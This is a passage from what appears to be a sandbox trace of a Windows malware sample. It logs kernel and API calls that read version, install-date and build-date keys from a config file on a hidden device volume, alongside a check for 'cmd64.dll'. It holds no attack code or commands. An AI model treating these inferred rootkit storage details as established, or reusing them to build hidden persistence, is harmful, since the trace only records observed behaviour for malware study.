(Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.809] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.809] KeEnterCriticalRegion () [0081.809] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.809] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8b000 [0081.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.809] IdePortDispatch () returned 0x103 [0081.809] KeWaitForMutexObject () returned 0x0 [0081.809] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.809] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.809] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.809] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.809] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.809] IdePortDispatch () returned 0x103 [0081.810] KeWaitForMutexObject () returned 0x0 [0081.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] KeLeaveCriticalRegion () [0081.810] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.810] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.810] KeEnterCriticalRegion () [0081.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] KeLeaveCriticalRegion () [0081.810] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.810] KeEnterCriticalRegion () [0081.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.810] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fe520, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] KeLeaveCriticalRegion () [0081.810] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.810] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.810] KeEnterCriticalRegion () [0081.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] ExFreePoolWithTag (P=0xfffffa80034ef270, Tag=0x0) [0081.810] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] KeLeaveCriticalRegion () [0081.810] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.810] ReleaseMutex (hMutex=0xf0) returned 1 [0081.810] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.810] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="version", lpDefault="0.0", lpReturnedString=0x1be60, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="0.03") returned 0x4 [0081.810] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.810] KeEnterCriticalRegion () [0081.810] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.810] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.810] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.810] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.811] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.811] IdePortDispatch () returned 0x103 [0081.811] KeWaitForMutexObject () returned 0x0 [0081.811] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.811] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.811] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.811] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.811] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8007fff0e0 [0081.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.811] KeLeaveCriticalRegion () [0081.811] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.811] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.811] KeEnterCriticalRegion () [0081.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.811] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.811] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.811] KeLeaveCriticalRegion () [0081.811] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.811] KeEnterCriticalRegion () [0081.811] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.811] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.811] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.811] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.811] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.811] IdePortDispatch () returned 0x103 [0081.811] KeWaitForMutexObject () returned 0x0 [0081.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.812] KeLeaveCriticalRegion () [0081.812] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.812] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.812] KeEnterCriticalRegion () [0081.812] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.812] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8d000 [0081.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.812] IdePortDispatch () returned 0x103 [0081.812] KeWaitForMutexObject () returned 0x0 [0081.812] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.812] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.812] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.812] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.812] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.812] IdePortDispatch () returned 0x103 [0081.812] KeWaitForMutexObject () returned 0x0 [0081.812] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.812] KeLeaveCriticalRegion () [0081.812] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.813] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.813] KeEnterCriticalRegion () [0081.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] KeLeaveCriticalRegion () [0081.813] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.813] KeEnterCriticalRegion () [0081.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.813] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036a0070, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] KeLeaveCriticalRegion () [0081.813] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.813] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.813] KeEnterCriticalRegion () [0081.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] ExFreePoolWithTag (P=0xfffffa8007fff0e0, Tag=0x0) [0081.813] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] KeLeaveCriticalRegion () [0081.813] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.813] ReleaseMutex (hMutex=0xf0) returned 1 [0081.813] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.813] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="installdate", lpDefault="0", lpReturnedString=0x1ba60, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="6.12.2016 9:36:14") returned 0x11 [0081.813] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.813] KeEnterCriticalRegion () [0081.813] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.813] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.813] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.813] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.813] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.813] IdePortDispatch () returned 0x103 [0081.813] KeWaitForMutexObject () returned 0x0 [0081.814] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.814] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.814] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.814] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.814] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036a0fb0 [0081.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.814] KeLeaveCriticalRegion () [0081.814] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.814] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.814] KeEnterCriticalRegion () [0081.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.814] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.814] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.814] KeLeaveCriticalRegion () [0081.814] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.814] KeEnterCriticalRegion () [0081.814] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.814] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.814] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.814] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.814] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.814] IdePortDispatch () returned 0x103 [0081.816] KeWaitForMutexObject () returned 0x0 [0081.816] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.816] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.816] KeLeaveCriticalRegion () [0081.816] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.816] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.816] KeEnterCriticalRegion () [0081.816] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.816] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c8f000 [0081.816] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.817] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.817] IdePortDispatch () returned 0x103 [0081.817] KeWaitForMutexObject () returned 0x0 [0081.817] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.817] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.817] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.817] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.817] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.817] IdePortDispatch () returned 0x103 [0081.817] KeWaitForMutexObject () returned 0x0 [0081.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.817] KeLeaveCriticalRegion () [0081.817] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.817] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.817] KeEnterCriticalRegion () [0081.817] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.817] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.817] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.817] KeLeaveCriticalRegion () [0081.817] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.818] KeEnterCriticalRegion () [0081.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.818] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.818] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80036a0200, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0081.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.818] KeLeaveCriticalRegion () [0081.818] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.818] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.818] KeEnterCriticalRegion () [0081.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.818] ExFreePoolWithTag (P=0xfffffa80036a0fb0, Tag=0x0) [0081.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.818] KeLeaveCriticalRegion () [0081.818] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.818] ReleaseMutex (hMutex=0xf0) returned 1 [0081.818] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0081.818] GetPrivateProfileStringA (in: lpAppName="main", lpKeyName="builddate", lpDefault="0", lpReturnedString=0x1b660, nSize=0x3ff, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="351") returned 0x3 [0081.818] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.818] KeEnterCriticalRegion () [0081.818] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.818] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.818] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.818] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.818] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0081.818] IdePortDispatch () returned 0x103 [0081.818] KeWaitForMutexObject () returned 0x0 [0081.818] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.818] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0081.818] strncpy (in: _Dest=0xfffffa80027dafe0, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0081.818] FsRtlInitializeFileLock (FileLock=0xfffffa80027daff0, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0081.818] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80036a0eb0 [0081.818] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.818] KeLeaveCriticalRegion () [0081.818] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.819] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.819] KeEnterCriticalRegion () [0081.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.819] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.819] KeLeaveCriticalRegion () [0081.819] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.819] KeEnterCriticalRegion () [0081.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003655930 [0081.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003655930) [0081.819] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0081.819] IdePortDispatch () returned 0x103 [0081.819] KeWaitForMutexObject () returned 0x0 [0081.819] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.819] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.819] KeLeaveCriticalRegion () [0081.819] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.819] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.819] KeEnterCriticalRegion () [0081.819] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.819] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003655930, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002c91000 [0081.819] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.819] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.819] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.819] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.819] IdePortDispatch () returned 0x103 [0081.819] KeWaitForMutexObject () returned 0x0 [0081.820] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0081.820] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa800cbf0920 [0081.820] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa800cbf0920 | out: Irp=0xfffffa800cbf0920) returned 0xfffffa8003648530 [0081.820] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003648530, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003648530) [0081.820] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0081.820] IdePortDispatch () returned 0x103 [0081.820] KeWaitForMutexObject () returned 0x0 [0081.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.820] KeLeaveCriticalRegion () [0081.820] IofCompleteRequest (Irp=0xfffffa80034e8010, PriorityBoost=0) [0081.820] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.820] KeEnterCriticalRegion () [0081.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.820] FsRtlProcessFileLock (FileLock=0xfffffa80027daff0, Irp=0xfffffa80034e8010, Context=0x0) returned 0x0 [0081.820] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.820] KeLeaveCriticalRegion () [0081.820] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0081.820] KeEnterCriticalRegion () [0081.820] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0081.820] IoGetRequestorProcess (Irp=0xfffffa80034e8010) returned 0xfffffa80034fca60 [0081.820] FsRtlFastUnlockAll (FileLock=0xfffffa80027daff0, FileObject=0xfffffa80034fd990, 